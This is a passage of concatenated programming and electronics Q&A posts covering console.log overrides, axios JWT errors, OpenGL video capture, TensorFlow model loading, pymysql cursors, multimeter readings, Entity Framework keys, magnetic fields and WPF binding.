  console.log (selects[i].innerText);
}

Code 2
var selects=document.querySelectorAll("div.book-header-title a.book-title h2.main");
console.log(selects)

Even the following code is not working
var selects=document.querySelectorAll("body");
console.log(selects)

It only says undefined. What can I do?

A: querySelectorAll works just fine. The problem resides in that the specific webpage on which you're executing the code, has overriden the window.console.log method and the new implementation apparently does not print arguments to the console, as its native implementation does.
You can see this by issuing window.console.log (without parentheses), which usualy prints something like ƒ log() { [native code] } (at least in Chrome).
There are hacks how to acquire the native implementation. See, for example, this post: https://stackoverflow.com/a/11129588/4005175

Example:
// restore window.console.log method
var f = document.createElement("iframe");
f.style.display = "none";
document.documentElement.appendChild(f);
window.console.log = f.contentWindow.console.log;

// print book titles
var selects=document.querySelectorAll("div.book-header-title a.book-title h2.main");
for (i = 0; i < selects.length; ++i) {
  console.log (selects[i].innerText);
}


text:
Q: On Postman when ı send get request to my backend Api ı can get a response but in my app ı only get 401 unauthorizated I have a api and i am using passport.js.When user logged in i give them JWT and set axios default header to token.
axios.defaults.headers.common["Authorization"] = token;

Everything work when  i send request on Postman.But doesn't work on my React App.(except my default test route)
router.get("/test", (req, res) => res.json({ msg: "User works" }));

I added cors to my express app.It did not work.
this is my backend route
router.get(
  "/getuserclass",
  passport.authenticate("jwt", { session: false }),
  (req, res) => {
    User.findOne({ _id: req.user.id })
      .populate("classes", { _id: 1, name: 1 })
      .then(user => res.json(user))
      .catch(() => {
        return res.status(403).json({ msg: "Not found" });
      });
  }
);

and this is my get request
axios
      .get("/api/users/getuserclass", {
        withCredentials: true,
        crossdomain: true
      })
      .then(response => {
        console.log(response.data);
      })
      .catch(error => {
        console.log(error.response);
      });

on React app it gave this error
401 unauthorized


text:
Q: CMSampleBuffer from OpenGL for video output with AVAssestWritter I need to get a CMSampleBuffer for the OpenGL frame. I'm using this:
int s = 1;
        UIScreen * screen = [UIScreen mainScreen];
        if ([screen respondsToSelector:@selector(scale)]){
            s = (int)[screen scale];
        }
        const int w = viewController.view.frame.size.width/2;
        const int h = viewController.view.frame.size.height/2;
        const NSInteger my_data_length = 4*w*h*s*s;
        // allocate array and read pixels into it.
        GLubyte * buffer = malloc(my_data_length);
        glReadPixels(0, 0, w*s, h*s, GL_RGBA, GL_UNSIGNED_BYTE, buffer);
        // gl renders "upside down" so swap top to bottom into new array.
        GLubyte * buffer2 = malloc(my_data_length);
        for(int y = 0; y < h*s; y++){
            memcpy(buffer2 + (h*s - 1 - y)*4*w*s, buffer + (4*y*w*s), 4*w*s);
        }
        free(buffer);
        CMBlockBufferRef * cm_block_buffer_ref;
        CMBlockBufferAccessDataBytes(cm_block_buffer_ref,0,my_data_length,buffer2,*buffer2);
        CMSampleBufferRef * cm_buffer;
        CMSampleBufferCreate (kCFAllocatorDefault,cm_block_buffer_ref,true,NULL,NULL,NULL,1,1,NULL,0,NULL,cm_buffer);

I get EXEC_BAD_ACCESS for CMSampleBufferCreate.
Any help is appreciated, thank you.

A: The solution was to use the AVAssetWriterInputPixelBufferAdaptor class.
int s = 1;
        UIScreen * screen = [UIScreen mainScreen];
        if ([screen respondsToSelector:@selector(scale)]){
            s = (int)[screen scale];
        }
        const int w = viewController.view.frame.size.width/2;
        const int h = viewController.view.frame.size.height/2;
        const NSInteger my_data_length = 4*w*h*s*s;
        // allocate array and read pixels into it.
        GLubyte * buffer = malloc(my_data_length);
        glReadPixels(0, 0, w*s, h*s, GL_RGBA, GL_UNSIGNED_BYTE, buffer);
        // gl renders "upside down" so swap top to bottom into new array.
        GLubyte * buffer2 = malloc(my_data_length);
        for(int y = 0; y < h*s; y++){
            memcpy(buffer2 + (h*s - 1 - y)*4*w*s, buffer + (4*y*w*s), 4*w*s);
        }
        free(buffer);
        CVPixelBufferRef pixel_buffer = NULL;
        CVPixelBufferCreateWithBytes (NULL,w*2,h*2,kCVPixelFormatType_32BGRA,buffer2,4*w*s,NULL,0,NULL,&pixel_buffer);
        [av_adaptor appendPixelBuffer: pixel_buffer withPresentationTime:CMTimeMakeWithSeconds([[NSDate date] timeIntervalSinceDate: start_time],30)];

A: Why is the third parameter to CMSampleBufferCreate() true in your code?  According to the documentation:

Parameters
allocator
The allocator to use to allocate memory for the CMSampleBuffer
  object. Pass kCFAllocatorDefault to
  use the current default allocator.
dataBuffer
This can be NULL, a CMBlockBuffer with no backing memory,
  a CMBlockBuffer with backing memory
  but no data yet, or a CMBlockBuffer
  that already contains the media data.
  Only in that last case (or if NULL and
  numSamples is 0) should dataReady be
  true.
dataReady
Indicates whether dataBuffer already contains the media
  data.

Your cm_block_buffer_ref that is being passed in as a buffer contains no data (you should NULL it for safety, I don't believe the compiler does that by default), so you should use false here.
There may be other things wrong with this, but that's the first item that leaps out at me.

A: Why the double malloc and why not swap in place via a temp buffer?
Something like this:
    GLubyte * raw = (GLubyte *) wyMalloc(size);
    LOGD("raw address %p", raw);
    glReadPixels(x, y, w, h, GL_RGBA, GL_UNSIGNED_BYTE, raw);
    const size_t end = h/2;
    const size_t W = 4*w;
    GLubyte row[4*w];
    for (int i=0; i <= end; i++) {
        void * top = raw + (h - i - 1)*W;
        void * bottom = raw + i*W;
        memcpy(row, top, W);
        memcpy(top, bottom, W);
        memcpy(bottom, row, W);
    }


text:
Q: Loading saved model trained in an earlier tensorflow version I recently use Google AutoML service to create a model.
Its output seems to be in a saved model format. However,when I attempt to load it via tf.saved_model.load ,it display following error
Op type not registered 'TreeEnsembleSerialize' in binary ...
When I look up this op,I find that this op exists in tf.contrib.boosted_trees in Tensorflow 1.15,but since Tensorflow 2 removes tf.contrib,this op has be renamed to BoostedTreesSerializeEnsemble in tf.raw_ops.
My question is:Is there any way to duplicate the op and rename it to TreeEnsembleSerialize ,so the saved model could be loaded without errors.
Thanks.

A: There are no significant compatibility concerns for saved models.

*

*TensorFlow 1.x saved_models work in TensorFlow 2.x.

*TensorFlow 2.x
saved_models work in TensorFlow 1.x if all the ops are supported.

For more information visit Tensorflow doc


text:
Q: Is there a way to create variables storing the values from the columns in a database without executing the same query multiple times in pymysql? I'm creating a simple program in python and I want to create variables storing the values from each of the columns of my students database. I found out that I needed to execute a query each time i wanted to assign a new variable. Is there a way to create those variables without executing the same query multiple times?
import pymysql
conn = pymysql.connect(host='localhost',
cursorclass=pymysql.cursors.DictCursor,
user='root',password='***')

conn.autocommit(True)
cur = conn.cursor()
students = [[1,'Hubert',4.0],
            [2,'Macia',3.2],
            [3,'Pontas',3.5],
            [4,'Bartek',4.0],
            [5,'Dundersztyc',2.1],
            [6,'Diabel',2.7],
            [7,'Kondzias',3.1],
            [8,'Krapol',3.4],
            [9,'Any',2.8],
            [10,'Jacenty',2.5]]
try:
    use = 'USE students'
    cur.execute(use)
    for identi,name,gpa in students:
        query1 = 'INSERT INTO students (id,st_names,gpa) VALUES
                                                     (%s,%s,%s)'
        cur.execute(query1,(identi,name,gpa))
    query = 'SELECT * FROM students'

    cur.execute(query)
    ids = [ide['id'] for ide in cur]

    cur.execute(query)
    names = [name['st_names'] for name in cur]

    cur.execute(query)
    gpas = [gpa['GPA'] for gpa in cur]

finally:
    conn.close()

When I printed ids, names, gpas when I executed the query only once I got the first list of ids. The names and gpas were empty.

A: With this expression ...
ids = [ide['id'] for ide in cur]

... you iterate over the cursor, which exhausts the iterator. The next time you iterate over it, there's simply nothing left to loop over, hence the list comp returns an empty list.
Executing the query again creates a fresh iterator, but you'd have to do that for each field you'd want to retrieve.
Every DB API compliant cursor offers methods to fetch the result (or parts thereof) of an SQL statement that has been executed the in the cursor.
Since PyMySQL is DB API compliant, these methods are available to you. In your case, you'll probably want to go for ...
query = 'SELECT * FROM students'
cur.execute(query)
result = cur.fetchall()

... to retrieve a list of dicts representing the full result set.
# [{'id': 1, 'st_names': 'Hubert', 'GPA': 4.0}, {'id': 2, 'st_names': 'Macia', 'GPA': 3.2}, ...]

As an aside, executemany() lets you do bulk inserts without the need to manually loop over your sequence of query parameters:
query1 = 'INSERT INTO students (id,st_names,gpa) VALUES (%s,%s,%s)'
cur.executemany(query1, students)


text:
Q: Why does DMM resistance measurement not settle when probing pins on circuit? I am probing two pins on a custom circuit board which I believe have been shorted somewhere and am attempting to measure the resistance between these pins with an Agilent 34401A multimeter. When trying to get a definitive resistance measurement, the readout of the multimeter does not settle on a single value, as it would if measuring a passive resistor. Instead, it jumps around between displaying values of 5ohms, 40 ohms, 25ohms, etc.
When measuring these pins on a unit that does not have the short, the readout is between 2-4kOhms, but also does not home in on a single value and instead jumps around in this range.
Is there any conventional knowledge or perhaps a rule of thumb as to why this is happening, or is it an issue that requires more detailed knowledge of the specific circuitry?

A: I've seen this happen before with my Agilent (and other) DMMs. When you measure a resistor directly, the meter is essentially running a small current through the resistor and watching for the voltage across the leads.
If there are other components involved (like the ones on your assembled PCB) you can get some odd measurements back - particularly when there are capacitors or transistors in circuit that store or switch the energy added to the circuit by your meter.
It might be helpful to turn the auto-ranging function of the meter off.
One of my favorite features on your meter that I often use for finding shorts on a PCB is the four-wire resistance mode. If you can scrounge up four leads you can put the meter in this mode and it can measure the resistance with greater precision. This probably won't help your "jumping around" issue very much, but the extra precision may help guide you as you work to get closer to the short(s) on your board.

A: This is to be expected, particularly if there are components (other than resistors) on you PCB. Resistance is just the ratio of voltage and current, given by Ohm's law: R = V/I. Resistors are devices that have constant resistance, other devices have more complicate voltage-current relationships.
For example, when a capacitor is discharged you would measure a low resistance (apply a voltage and you would measure a high current), but as it charges up, it's ability to take on more charge diminishes, so the current will reduce thus its effective resistance will be high. An inductor is the opposite, when you first apply a current the voltage across it will spike (high resistance) but as it reaches steady state the effective resistance will go to 0.
And transistors (the building block for most ICs) have resistances that vary as the voltage (or current depending on the type of transistor) applied to their gate pin varies, which means that the resistance you measure in one part of your circuit can very based on what's happening in another part of the circuit. This is especially true for ICs, the pin resistance you measure will vary as the internal state of the IC changes.


text:
Q: Entity Framework 7 IDENTITY_INSERT I need to store a large amount of user data in a database where every user already has an ID as a key. However, these users all out of a larger pool of users, therefore, the ID does not increment and cannot be automatically generated. I need to be able to manually set the ID.
Is there an easy way to do this?

A: I've made some tests and this seems to work for me on EF 7.0.0 rc1-final:
modelBuilder.Entity<Foo>().HasKey(x => x.Id);
modelBuilder.Entity<Foo>().Property(x => x.Id).ValueGeneratedNever();

My test code:
static void Main(string[] args)
{
    using (var db = new FooContext())
    {
        var myFoo = new Foo {Id = 1002, Descr = "Test"};
        db.Add(myFoo);
        db.SaveChanges();
    }
    using (var db = new FooContext())
    {
        var myFoo = db.Foos.FirstOrDefault(x => x.Id == 1002);
        Console.WriteLine($"id = {myFoo?.Id}, descrip = {myFoo?.Descr}");
    }
}

(full program code here: http://pastebin.com/hSs9HZCP)
It correctly inserts and retrieves a record with the specified id and the table has the correct primary key specified.
This is the migration code generated:
migrationBuilder.CreateTable(
    name: "Foo",
    columns: table => new
    {
        Id = table.Column<long>(nullable: false),
        Descr = table.Column<string>(nullable: true)
    },
    constraints: table =>
    {
        table.PrimaryKey("PK_Foo", x => x.Id);
    });


text:
Q: Magnetic field in two different medium From Faraday's law of induction we know if we have a coil with ac current it will create ac current to other coil placed within magnetic field. My question is if one coil is in water and another coil is in air what will be the pattern of magnetic field?

A: To a very good approximation it will be the same as if both coils were in the same material since water is not very magnetic ( $\frac{\mu}{\mu_0}=0.999992$ ) source: wiki.
However if you really care about the slight deviations of the magnetic field's shape then you could apply the appropriate electric and magnetic boundary conditions to the magnetic field to find out how much it deviates. The exact field shape will depend on the position of the interface between water and air and the shape of that interface (i.e. if it's really flat or if the water has waves) As well as the size and shape of the coils.


text:
Q: WPF Binding, Not Updating Source, View Model has Base Class I'm stuck on this because it was working when the app was first created, and then another project was added and it was all built upon, now the feature has stopped working. Essentially, the system was able to toggle between having the navigation bar on the top, or the side. The properties are being updated in the view model, but the window is no longer updating the binding. We can focus on just one property to keep this thread smaller (since there are about 12 properties):
Property Changed Class
public abstract class ObservableObject : INotifyPropertyChanged
{
    #region INotifyPropertyChanged Members

    /// <summary>
    /// Raises the PropertyChange event for the property specified
    /// </summary>
    /// <param name="propertyName">Property name to update. Is case-sensitive.</param>
    public virtual void RaisePropertyChanged(string propertyName)
    {
        OnPropertyChanged(propertyName);
    }

    /// <summary>
    /// Raised when a property on this object has a new value.
    /// </summary>
    public event PropertyChangedEventHandler PropertyChanged;

    /// <summary>
    /// Raises this object's PropertyChanged event.
    /// </summary>
    /// <param name="propertyName">The property that has a new value.</param>
    protected virtual void OnPropertyChanged(string propertyName)
    {

        PropertyChangedEventHandler handler = this.PropertyChanged;
        if (handler != null)
        {
            var e = new PropertyChangedEventArgs(propertyName);
            handler(this, e);
        }
    }

    #endregion // INotifyPropertyChanged Members
}

Page Base View Model
public class PageBaseViewModel : ObservableObject, IDisposable
{
    /// <summary>
    /// Navigation - Adjust Row Span (Top: 1, Side: 2)
    /// </summary>
    private int _navigationRowSpan = 1;
    public int NavigatorRowSpan
    {
        get { return _navigationRowSpan; }
        set
        {
            if (_navigationRowSpan == value) return;

            _navigationRowSpan = value;

            OnPropertyChanged(nameof(NavigatorRowSpan));
        }
    }
}

Main Window View Model
public class MainWindowViewModel : PageBaseViewModel
{
}

Main Window View
<Window
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
    xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
    xmlns:local="clr-namespace:Project"
    mc:Ignorable="d"
    Style="{DynamicResource myWindowStyle}"
    Title="MainWindow" Height="1080" Width="1920" ResizeMode="NoResize" WindowState="Maximized" WindowStyle="None">
<Window.DataContext>
    <local:MainWindowViewModel/>
</Window.DataContext>

<Grid HorizontalAlignment="Stretch">
    <Grid.RowDefinitions>
        <RowDefinition Height="115*"/>
        <RowDefinition Height="827*"/>
        <RowDefinition Height="35*"/>
    </Grid.RowDefinitions>
    <Grid.ColumnDefinitions>
        <ColumnDefinition Width="150*"/>
        <ColumnDefinition Width="1743*"/>
    </Grid.ColumnDefinitions>

    <StackPanel Grid.Row="0" Grid.Column="0" Grid.RowSpan="{Binding Path=NavigatorRowSpan}">

    </StackPanel>

    </Grid>
</Grid>

Hopefully, it is something easy but here is what I have tried:

*

*Tried setting Path=Property

*Tried setting Mode=OneWay, Mode=TwoWay

*Tried setting ElementName=Property

*Tried setting just the property name in Binding {Binding Property}

I have been through all the posts on Stack Overflow I could find, and unable to find anything that has resolved this issue. This is why I am posting a new thread.
Update: This is the method that I use to change the property value
 public void ToggleNavigator()
    {
        if (IsTopNav)
        {
            NavigatorRowSpan = 1;
        }
        else
        {
            NavigatorRowSpan = 2;
        }
    }

This method does change the properties properly.